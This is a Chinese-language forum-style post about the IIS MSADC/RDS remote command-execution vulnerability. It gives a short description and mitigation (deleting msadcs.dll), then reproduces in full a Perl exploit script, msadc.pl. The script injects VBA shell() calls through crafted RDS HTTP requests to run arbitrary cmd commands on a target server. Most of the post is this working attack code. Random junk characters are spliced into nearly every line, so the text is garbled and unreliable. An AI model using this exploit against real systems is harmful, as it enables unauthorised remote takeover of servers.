IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
FQY{[QvF~ #gW"k;7P 涉及程序:
8/W(jVO(- Microsoft NT server
pmda9V4 DO*rVs3'p[ 描述:
5j'7V1:2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
WB)pE'5 R!&9RvNw 详细:
bu0i# 如果你没有时间读详细内容的话,就删除:
atr0hmQ c:\Program Files\Common Files\System\Msadc\msadcs.dll
M%&1j >d 有关的安全问题就没有了。
+;r1AR1)x 0?V{u`* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
0zQ~'x mIW8K
): 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
75v7w 关于利用ODBC远程漏洞的描述,请参看:
^IQtXae6M DVJuX~'|! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Hk&op P9) ^wass_8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
qwhDv+o http://www.microsoft.com/security/bulletins/MS99-025faq.asp mVXwU](N R+sv? 4k 这里不再论述。
p1F{ v^ z)%Ke~)<\@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
S\76`Ot u~rPqBT{d3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q|KD$2rB 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
c,>y1%V*S{ {L'uuG\9U 3~q#P #将下面这段保存为txt文件,然后: "perl -x 文件名"
]S0=&x@, K<wg-JgA #!perl
xAwP #
af@R\"N9c # MSADC/RDS 'usage' (aka exploit) script
#~}4< 18 #
-%fc)y&$ # by rain.forest.puppy
+MR]h
[ #
hy&WG&qf # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6;C2^J @ # beta test and find errors!
N)X3pWC8 o[I
s$j use Socket; use Getopt::Std;
Six2{b)p getopts("e:vd:h:XR", \%args);
g3|k- 8Y"R@'~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E]w2
{% ?_-5W9 if (!defined $args{h} && !defined $args{R}) {
=W*Ro+wWb print qq~
r S>@>8k2, Usage: msadc.pl -h <host> { -d <delay> -X -v }
4 :phq -h <host> = host you want to scan (ip or domain)
-M6#,Ji -d <seconds> = delay between calls, default 1 second
/+wCx#! -X = dump Index Server path table, if available
/9b+I/xY" -v = verbose
n +v(t -e = external dictionary file for step 5
|zbM$37?k *j~ObE_y Or a -R will resume a command session
+ L[a ?`=
<*{_o ~; exit;}
'QSj- =Q,D3F
-+f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_U|rTil if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
D dh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xLdkeuL[% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%MCJ%Ph $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&8;Fi2}(L if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f4O}WU}l{s g-pEt# if (!defined $args{R}){ $ret = &has_msadc;
h e=A%s die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[jz@d\k$_ &E]<KbVx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}0[<xo>K . "cmd /c ";
P^aNAa $in=<STDIN>; chomp $in;
`*o ko[\3 $command="cmd /c " . $in ;
(fYYcpd,k q*K[? if (defined $args{R}) {&load; exit;}
v}5||s!= U:AB%gr[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J``5;%TJp &try_btcustmr;
eN'b"_D 6W<Ig; print "\nStep 2: Trying to make our own DSN...";
Z*R~dHr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
H 'IxB[ !5qV}5 print "\nStep 3: Trying known DSNs...";
SJ}PV:x &known_dsn;
C).+h7{nd ~OMo$qt`lP print "\nStep 4: Trying known .mdbs...";
s"`Oj5 &known_mdb;
(zPsA },=ORIB B: if (defined $args{e}){
N(e>]ui print "\nStep 5: Trying dictionary of DSN names...";
a51}~V1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~Qd|.T au E8 ^| print "Sorry Charley...maybe next time?\n";
HBNX a exit;
HXN. ,[ _1jbNQa ##############################################################################
aI>F8R? !gL1 sub sendraw { # ripped and modded from whisker
2K^xN]]rG sleep($delay); # it's a DoS on the server! At least on mine...
B qo#cnlG my ($pstr)=@_;
G%junS'zt
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
usNq] die("Socket problems\n");
ec,Bu7'8 if(connect(S,pack "SnA4x8",2,80,$target)){
Rzyaicj^c select(S); $|=1;
.NJ Ne print $pstr; my @in=<S>;
cSBS38> select(STDOUT); close(S);
B1j^qoC.5 return @in;
cm8co } else { die("Can't connect...\n"); }}
g,G{%dGsk V`0Y
p ##############################################################################
iA|n\a~ny, hh$i1n sub make_header { # make the HTTP request
4}Y? :R my $msadc=<<EOT
?Ld:HE POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>[N6_*K] User-Agent: ACTIVEDATA
_PLZ_c:O Host: $ip
e< G[!m Content-Length: $clen
=eR#]d Connection: Keep-Alive
Ax 4R$P.]u T-\q3X|y/ ADCClientVersion:01.06
v+i==vxg Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?k=)T]-} YkQ=rurE --!ADM!ROX!YOUR!WORLD!
?y@;=x!' Content-Type: application/x-varg
|RBL5,t^ Content-Length: $reqlen
uF{l`|b' <vzU}JA\ EOT
wH\
K'/ ; $msadc=~s/\n/\r\n/g;
A9WOu*G1O return $msadc;}
RDeI l& Z1h6Y>j ##############################################################################
K#N5S]2yb ZftucD|ZY/ sub make_req { # make the RDS request
8/}S/$ my ($switch, $p1, $p2)=@_;
Sq5}v]k@& my $req=""; my $t1, $t2, $query, $dsn;
29W`L2L *CV I@:Q9 if ($switch==1){ # this is the btcustmr.mdb query
Snq0OxS[v $query="Select * from Customers where City=" . make_shell();
-aDBdZ;y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a~k*Gd( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l xP!WP bWZ
oGFT elsif ($switch==2){ # this is general make table query
u$
vLwJ| o $query="create table AZZ (B int, C varchar(10))";
:4>LtfA $dsn="$p1";}
)"Wy/P H:t2;Z' elsif ($switch==3){ # this is general exploit table query
eH 9-GGr $query="select * from AZZ where C=" . make_shell();
rc}=`D` $dsn="$p1";}
FC4hvO(/m qvs[Gkaa@ elsif ($switch==4){ # attempt to hork file info from index server
ZC &~InN $query="select path from scope()";
?U,Xy xN $dsn="Provider=MSIDXS;";}
:FixLr!q 618bbftx{ elsif ($switch==5){ # bad query
YCBUc<) $query="select";
>qdRqy)DC $dsn="$p1";}
+p-S36K~,7 RRtOBrIedI $t1= make_unicode($query);
km}E&ao $t2= make_unicode($dsn);
CbMClnF $req = "\x02\x00\x03\x00";
'1lz`CAB+ $req.= "\x08\x00" . pack ("S1", length($t1));
/pp;3JPf $req.= "\x00\x00" . $t1 ;
s
~i,R $req.= "\x08\x00" . pack ("S1", length($t2));
6a6N$v" $req.= "\x00\x00" . $t2 ;
?YM0VB,y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
WhL"-f return $req;}
Tt{ft?H71 +H_ / ##############################################################################
.Zx7+`i 7':<I-Fm sub make_shell { # this makes the shell() statement
<*opVy^ return "'|shell(\"$command\")|'";}
%%Wn: c> 2yV{y#\ ##############################################################################
VjSA&R UQ2;Dg G% sub make_unicode { # quick little function to convert to unicode
mW."lzIl my ($in)=@_; my $out;
#~6X9,x= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
HmpV;
<t3 return $out;}
wHErF
#xo z6OJT6<' ##############################################################################
!Mk]% peU1
t:k? sub rdo_success { # checks for RDO return success (this is kludge)
l 4cTN
@E my (@in) = @_; my $base=content_start(@in);
6
wD if($in[$base]=~/multipart\/mixed/){
-:V2Dsr6; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
f q*V76F return 0;}
'L6+B1Op PLWx'N-kqL ##############################################################################
<-|g> j2:A@a6 sub make_dsn { # this makes a DSN for us
i^/D_L. my @drives=("c","d","e","f");
zQx7qx print "\nMaking DSN: ";
}}v28"\TA foreach $drive (@drives) {
g@S?5S.Av print "$drive: ";
!7uFH PK- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
h{Y#. j~aS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
I\VC2U
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ACH!Gw~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-GL-&^3IjH return 0 if $2 eq "404"; # not found/doesn't exist
f>+:UGmP if($2 eq "200") {
oz?6$oE(bt foreach $line (@results) {
M+\LH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5?MKx!% } return 0;}
!%YV0O0 :;Wh!8+j ##############################################################################
G6j9,#2@ $!"*h
sub verify_exists {
v:Z.8m8D my ($page)=@_;
^ `Y1 my @results=sendraw("GET $page HTTP/1.0\n\n");
9 Dx9alJR return $results[0];}
xw rleB r/6h} ##############################################################################
tJ9`Ys O0>^?dsL sub try_btcustmr {
_ 6'HBE my @drives=("c","d","e","f");
_qhYG1t my @dirs=("winnt","winnt35","winnt351","win","windows");
,9ZN k@q w77"?kJ9X foreach $dir (@dirs) {
i9y&<^<W print "$dir -> "; # fun status so you can see progress
Y&`nB,' foreach $drive (@drives) {
qXQ7Jg9 print "$drive: "; # ditto
2o-Ie/"d\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)V*V $reqlenlen=length( "$reqlen" );
3+ r8yiY
$clen= 206 + $reqlenlen + $reqlen;
Uzd\#edxJ SN|:{Am my @results=sendraw(make_header() . make_req(1,$drive,$dir));
v"smmQZik if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G |vG5$Nf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
97(*-e= e
9p<ZSh ##############################################################################
T=->~@5 cXvq=Rb sub odbc_error {
$v+t~b my (@in)=@_; my $base;
`}fwR my $base = content_start(@in);
qQUCK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
38eeRo $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a;e~D
9%1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'#0'_9} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p/inATH return $in[$base+4].$in[$base+5].$in[$base+6];}
V$fvf#T print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m|+g_JZ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
F]~>qt<ia $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Wi(Ac8uh uvf}7 ##############################################################################
O9]+Jd4W 4&([<gyR< sub verbose {
eo&nAr my ($in)=@_;
5m&Zq_Qe return if !$verbose;
S&YC" print STDOUT "\n$in\n";}
<;Bv6.Z ,L} ##############################################################################
pe$l'ur |\MgE.N sub save {
mdTCe
HX my ($p1, $p2, $p3, $p4)=@_;
NJraol open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W{(q7>g print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Grw|8xN0t close OUT;}
6S#e?>"+ `aW>h8$I) ##############################################################################
^5sO;vf ("B[P/ sub load {
WD7IF+v my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qx~-(|s`H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>FabmIcC @p=<IN>; close(IN);
K`?",G?_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Q-}yZ $target= inet_aton($ip) || die("inet_aton problems");
{"uLV{d print "Resuming to $ip ...";
%nfaU~IqK $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
kq kj.#u if($p[1]==1) {
V>&WZY $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
d}t7bgk'j $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
k*3F7']8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~SRK}5E if (rdo_success(@results)){print "Success!\n";}
3,<$z1Jm else { print "failed\n"; verbose(odbc_error(@results));}}
vC9Qe
]f elsif ($p[1]==3){
$ RDwy)9 if(run_query("$p[3]")){
x2bKFJ>e@ print "Success!\n";} else { print "failed\n"; }}
JXIxk"m elsif ($p[1]==4){
$kA'9Y if(run_query($drvst . "$p[3]")){
cn$o$:tW print "Success!\n"; } else { print "failed\n"; }}
RHc-kggk! exit;}
V94eUmx>?+ A+&^As2 ##############################################################################
kgV_*0^ eJJD'Z sub create_table {
U- UD27 my ($in)=@_;
S_VZ^1X] $reqlen=length( make_req(2,$in,"") ) - 28;
u2G{I? $reqlenlen=length( "$reqlen" );
:mwJJIjUW $clen= 206 + $reqlenlen + $reqlen;
y7quKv7L} my @results=sendraw(make_header() . make_req(2,$in,""));
*|T]('xwC return 1 if rdo_success(@results);
Xv%1W?
>@/ my $temp= odbc_error(@results); verbose($temp);
,MxTT!9Su return 1 if $temp=~/Table 'AZZ' already exists/;
NM;0@ o return 0;}
;ctJ9"_g 1webk;IM ##############################################################################
<n)J~B^ Az}.Z'LJ sub known_dsn {
WDC+Jmlgp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U$fh ~w<[ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
#MyR:V*a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,u1Yn} "banner", "banners", "ads", "ADCDemo", "ADCTest");
?W*{%my Nj<}t/e foreach $dSn (@dsns) {
k e
sg ]K print ".";
:QGd/JX$n` next if (!is_access("DSN=$dSn"));
2|KgRk|! if(create_table("DSN=$dSn")){
V kA$T8 print "$dSn successful\n";
[!ghI%VK if(run_query("DSN=$dSn")){
LK}Ih@f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[zO:[i 7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
9Q<8DMX^ WPmH4L>T ##############################################################################
`m.).Hda [<+A?M= sub is_access {
5v f?E"\r my ($in)=@_;
Vy:I[@6@+ $reqlen=length( make_req(5,$in,"") ) - 28;
rfgkw $reqlenlen=length( "$reqlen" );
,dTRM $clen= 206 + $reqlenlen + $reqlen;
3
?1qI'5 my @results=sendraw(make_header() . make_req(5,$in,""));
(}W+W\. my $temp= odbc_error(@results);
a5/6DK> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b1(7<o return 0;}
*v}8n95*2 i|]Kw9 ##############################################################################
!\
IgTt, QUPZe~G>L sub run_query {
Nq`@ >Ml my ($in)=@_;
eD4qh4|u. $reqlen=length( make_req(3,$in,"") ) - 28;
(h}5*u%h $reqlenlen=length( "$reqlen" );
Q M#1XbT $clen= 206 + $reqlenlen + $reqlen;
b'!t\m my @results=sendraw(make_header() . make_req(3,$in,""));
2qw -: return 1 if rdo_success(@results);
Tq\S-K}4! my $temp= odbc_error(@results); verbose($temp);
`OL@@`'^{S return 0;}
Xu4C*]A> dr|>P* ##############################################################################
B}PT-S1l .l| [e sub known_mdb {
r\OunGUP my @drives=("c","d","e","f","g");
WIe7>wkC my @dirs=("winnt","winnt35","winnt351","win","windows");
cBZKt my $dir, $drive, $mdb;
4GA9oLl my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$>PXX32 qqL :#]lV5 # this is sparse, because I don't know of many
#JmVq-) my @sysmdbs=( "\\catroot\\icatalog.mdb",
9Q~9C9{+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M bj{C "\\system32\\certmdb.mdb",
q#{.8H-X' "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
vD=>AAvG mv5=>Xc6 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+VJS/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
! :[`>=! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:bh#,]' "\\cfusion\\cfapps\\security\\realm_.mdb",
J**-q(> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
B6N/nCvHK "\\cfusion\\database\\cfexamples.mdb",
n{d0}N= "\\cfusion\\database\\cfsnippets.mdb",
E[:eMJR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
zTgY=fuz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
f<14-R= "\\cfusion\\brighttiger\\database\\cleam.mdb",
g*]hmkYe9 "\\cfusion\\database\\smpolicy.mdb",
{|KFgQ'\ "\\cfusion\\database\cypress.mdb",
V`c"q.8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-8HK_eQn "\\website\\cgi-win\\dbsample.mdb",
DzfgPY_Py "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
YXJr eM5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6x'F0{U ); #these are just
<Km
^>9 foreach $drive (@drives) {
/5Od:n foreach $dir (@dirs){
TY."?` [FK foreach $mdb (@sysmdbs) {
nx
print ".";
F9ys.Bc if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Frn<~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z\d{A7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8#m,TOp print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
N('=qp9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
$?_/`S13 s6q6)RD" foreach $drive (@drives) {
I_1(jaY foreach $mdb (@mdbs) {
I7@|{L1|FB print ".";
jR1o<]? if(create_table($drv . $drive . $dir . $mdb)){
J0ysZ] print "\n" . $drive . $dir . $mdb . " successful\n";
x7<2K( if(run_query($drv . $drive . $dir . $mdb)){
Su]@~^w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
sf([8YUd } else { print "Something's borked. Use verbose next time\n"; }}}}
#r=Jc8J_ }
i\zVP.c])* x0KW\<k ##############################################################################
<